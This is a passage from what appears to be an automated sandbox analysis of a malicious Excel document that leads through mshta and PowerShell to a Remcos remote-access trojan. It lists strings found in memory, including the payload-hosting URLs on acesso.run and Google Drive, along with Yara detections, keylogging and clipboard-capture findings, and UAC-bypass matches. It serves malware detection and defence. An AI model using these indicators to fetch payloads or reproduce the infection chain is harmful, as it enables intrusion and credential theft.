                Source: mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0/
                Source: mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com05
                Source: mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.entrust.net03
                Source: mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.entrust.net0D
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://p.rfihub.com/cm?in=1&pub=345&userid=1614522055312108683
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://pr-bh.ybp.yahoo.com/sync/msft/1614522055312108683
                Source: powershell.exe, 00000005.00000002.447820693.0000000002011000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.494152955.0000000002001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.657254692.0000000002510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.559344373.0000000002311000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/_h/975a7d20/webcore/externalscripts/jquery/jquer
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/en-us/homepage/_sc/css/f15f847b-3b9d03a9/directi
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/en-us/homepage/_sc/js/f15f847b-7e75174a/directio
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/en-us/homepage/_sc/js/f15f847b-80c466c0/directio
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/2b/a5ea21.ico
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/6b/7fe9d7.woff
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/9b/e151e5.gif
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/c6/cfdbd9.png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/64bfc5b6/webcore/externalscripts/oneTrust/de-
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/975a7d20/webcore/externalscripts/jquery/jquer
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/a1438951/webcore/externalscripts/oneTrust/ski
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-de/homepage/_sc/css/f60532dd-8d94f807/directi
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-de/homepage/_sc/js/f60532dd-2923b6c2/directio
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-de/homepage/_sc/js/f60532dd-a12f0134/directio
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/11/755f86.png
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/21/241a2c.woff
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/64/a8a064.gif
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/9b/e151e5.gif
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/ea/4996b9.woff
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA2oHEB.img?h=16&w=16&m
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA42Hq5.img?h=16&w=16&m
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA42eYr.img?h=16&w=16&m
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA42pjY.img?h=16&w=16&m
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA6K5wX.img?h=16&w=16&m
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA6pevu.img?h=16&w=16&m
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA8I0Dg.img?h=16&w=16&m
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA8uJZv.img?h=16&w=16&m
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAHxwMU.img?h=16&w=16&m
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAJhH73.img?h=16&w=16&m
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAgi0nZ.img?h=16&w=16&m
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAhvyvD.img?h=16&w=16&m
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtB8UA.img?h=166&w=310
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtBduP.img?h=75&w=100&
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtBnuN.img?h=166&w=310
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtCLD9.img?h=368&w=522
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtCr7K.img?h=75&w=100&
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtCzBA.img?h=250&w=300
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAyXtPP.img?h=16&w=16&m
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAzl6aj.img?h=16&w=16&m
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17cJeH.img?h=250&w=30
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dAYk.img?h=75&w=100
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dJEo.img?h=75&w=100
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dLTg.img?h=166&w=31
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dOHE.img?h=333&w=31
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dWNo.img?h=166&w=31
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dtuY.img?h=333&w=31
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e0XT.img?h=166&w=31
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e3cA.img?h=75&w=100
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e5NB.img?h=75&w=100
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e7Ai.img?h=250&w=30
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e9Q0.img?h=166&w=31
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17eeI9.img?h=75&w=100
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17ejTJ.img?h=75&w=100
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPfCZL.img?h=27&w=27&m
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBYMDHp.img?h=27&w=27&m
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBZbaoj.img?h=16&w=16&m
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBh7lZF.img?h=333&w=311
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBih5H.img?m=6&o=true&u
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBlKGpe.img?h=75&w=100&
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBlPHfm.img?h=16&w=16&m
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBnMzWD.img?h=16&w=16&m
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBqRcpR.img?h=16&w=16&m
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://static.chartbeat.com/js/chartbeat.js
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://widgets.outbrain.com/external/publishers/msn/MSNIdSync.js
                Source: mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com.my/cps.htm02
                Source: mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
                Source: CasPol.exe, CasPol.exe, 0000001E.00000002.585102201.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.ebuddy.com
                Source: CasPol.exe, CasPol.exe, 0000001E.00000002.585689100.0000000000969000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000001E.00000002.585102201.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.com
                Source: CasPol.exe, 0000001E.00000002.585080698.000000000036C000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://www.imvu.com/O
                Source: CasPol.exe, 0000001E.00000002.585102201.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com
                Source: CasPol.exe, 0000001E.00000002.585102201.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.comr
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://www.msn.com/
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://www.msn.com/?ocid=iehp
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://www.msn.com/advertisement.ad.js
                Source: bhv8BAD.tmp.28.drString found in binary or memory: http://www.msn.com/de-de/?ocid=iehp
                Source: CasPol.exe, 0000001C.00000002.589355929.0000000000364000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://www.nirsoft.net
                Source: CasPol.exe, 0000001E.00000002.585102201.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.nirsoft.net/
                Source: mshta.exe, 00000004.00000002.421384718.0000000000220000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002C0C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://acesso.run/
                Source: mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://acesso.run/-o
                Source: mshta.exe, 0000000C.00000003.474537910.000000000052C000.00000004.00000020.00020000.00000000.sdmp, 0001.xls, 65330000.0.drString found in binary or memory: https://acesso.run/WP8tfj?&song=snotty&attendant=malicious&rent=unbiased&mandolin=reminiscent&vase=p
                Source: mshta.exe, 00000004.00000002.421652479.0000000004100000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://acesso.run/e
                Source: bhv8BAD.tmp.28.drString found in binary or memory: https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js
                Source: bhv8BAD.tmp.28.drString found in binary or memory: https://contextual.media.net/
                Source: bhv8BAD.tmp.28.drString found in binary or memory: https://contextual.media.net/8/nrrV73987.js
                Source: bhv8BAD.tmp.28.drString found in binary or memory: https://contextual.media.net/803288796/fcmain.js?&gdpr=1&cid=8CUT39MWR&cpcd=2K6DOtg60bLnBhB3D4RSbQ%3
                Source: bhv8BAD.tmp.28.drString found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2
                Source: bhv8BAD.tmp.28.drString found in binary or memory: https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1
                Source: powershell.exe, 00000005.00000002.450057733.0000000012041000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
                Source: powershell.exe, 00000005.00000002.450057733.0000000012041000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
                Source: powershell.exe, 00000005.00000002.450057733.0000000012041000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
                Source: bhv8BAD.tmp.28.drString found in binary or memory: https://cvision.media.net/new/286x175/2/137/169/197/852af93e-e705-48f1-93ba-6ef64c8308e6.jpg?v=9
                Source: bhv8BAD.tmp.28.drString found in binary or memory: https://cvision.media.net/new/286x175/3/72/42/210/948f45db-f5a0-41ce-a6b6-5cc9e8c93c16.jpg?v=9
                Source: bhv8BAD.tmp.28.drString found in binary or memory: https://dc.ads.linkedin.com/collect/?pid=6883&opid=7850&fmt=gif&ck=&3pc=true&an_user_id=591650497549
                Source: bhv8BAD.tmp.28.drString found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
                Source: powershell.exe, 00000017.00000002.559344373.0000000002512000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com
                Source: powershell.exe, 00000017.00000002.559344373.0000000002512000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur
                Source: powershell.exe, 00000017.00000002.559344373.00000000026E0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://drive.usercontent.google.com
                Source: powershell.exe, 00000017.00000002.559344373.00000000026E0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://drive.usercontent.google.com/download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download
                Source: bhv8BAD.tmp.28.drString found in binary or memory: https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au
                Source: CasPol.exeString found in binary or memory: https://login.yahoo.com/config/login
                Source: powershell.exe, 00000005.00000002.450057733.0000000012041000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
                Source: bhv8BAD.tmp.28.drString found in binary or memory: https://policies.yahoo.com/w3c/p3p.xml
                Source: bhv8BAD.tmp.28.drString found in binary or memory: https://s.yimg.com/lo/api/res/1.2/cKqYjmGd5NGRXh6Xptm6Yg--~A/Zmk9ZmlsbDt3PTYyMjtoPTM2ODthcHBpZD1nZW1
                Source: mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://secure.comodo.com/CPS0
                Source: bhv8BAD.tmp.28.drString found in binary or memory: https://static-global-s-msn-com.akamaized.net/hp-eus/sc/9b/e151e5.gif
                Source: CasPol.exe, 0000001C.00000002.590708077.00000000010A9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
                Source: bhv8BAD.tmp.28.drString found in binary or memory: https://www.ccleaner.com/go/app_cc_pro_trialkey
                Source: CasPol.exe, CasPol.exe, 0000001E.00000002.585102201.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: https://www.google.com
                Source: CasPol.exeString found in binary or memory: https://www.google.com/accounts/servicelogin
                Source: bhv8BAD.tmp.28.drString found in binary or memory: https://www.msn.com/en-us/homepage/secure/silentpassport?secure=false&lc=1033
                Source: unknownNetwork traffic detected: HTTP traffic on port 49163 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49168
                Source: unknownNetwork traffic detected: HTTP traffic on port 49165 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49165
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49163
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49174
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49173
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49170
                Source: unknownNetwork traffic detected: HTTP traffic on port 49168 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 49170 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 49173 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 49174 -> 443
                Source: unknownHTTPS traffic detected: 172.67.162.95:443 -> 192.168.2.22:49163 version: TLS 1.2
                Source: unknownHTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49165 version: TLS 1.2
                Source: unknownHTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49170 version: TLS 1.2

                Key, Mouse, Clipboard, Microphone and Screen Capturing

                barindex
                Contains functionality to register a low level keyboard hook
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0040A2F3 SetWindowsHookExA 0000000D,0040A2DF,0000000026_2_0040A2F3
                Installs a global keyboard hook
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWindows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0040B749 OpenClipboard,GetClipboardData,CloseClipboard,26_2_0040B749
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_004168FC OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,26_2_004168FC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0040987A EmptyClipboard,wcslen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,28_2_0040987A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_004098E2 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,28_2_004098E2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00406DFC EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,29_2_00406DFC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00406E9F EmptyClipboard,strlen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,29_2_00406E9F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_004068B5 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,30_2_004068B5
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_004072B5 EmptyClipboard,strlen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,30_2_004072B5
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0040B749 OpenClipboard,GetClipboardData,CloseClipboard,26_2_0040B749
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0040A41B GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,26_2_0040A41B
                Source: C:\Windows\System32\mshta.exeWindow created: window name: CLIPBRDWNDCLASSJump to behavior
                Source: C:\Windows\System32\mshta.exeWindow created: window name: CLIPBRDWNDCLASSJump to behavior
                Source: Yara matchFile source: 26.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 26.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 3280, type: MEMORYSTR

                E-Banking Fraud

                barindex
                Yara detected Remcos RAT
                Source: Yara matchFile source: 26.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 26.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000001A.00000002.656044016.00000000007F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000001A.00000002.656033427.00000000007BF000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000001A.00000002.656339540.0000000000831000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 3280, type: MEMORYSTR
                Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED

                Spam, unwanted Advertisements and Ransom Demands

                barindex
                Contains functionalty to change the wallpaper
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0041CA73 SystemParametersInfoW,26_2_0041CA73

                System Summary

                barindex
                Malicious sample detected (through community Yara rule)
                Source: 26.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 26.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 26.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 26.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 26.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 26.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: Process Memory Space: powershell.exe PID: 3856, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                Source: Process Memory Space: powershell.exe PID: 3776, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                Source: Process Memory Space: CasPol.exe PID: 3280, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Excel sheet contains many unusual embedded objects
                Source: 0001.xlsOLE: Microsoft Excel 2007+
                Source: ~DF3AE4293CD94DBA64.TMP.0.drOLE: Microsoft Excel 2007+
                Source: 65330000.0.drOLE: Microsoft Excel 2007+
                Microsoft Office drops suspicious files
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\seemybestthingwhichigiventouformakebestappinesswogiven[1].htaJump to behavior
                Windows Scripting host queries suspicious COM object (likely to drop second stage)
                Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID
                Wscript starts Powershell (via cmd or directly)
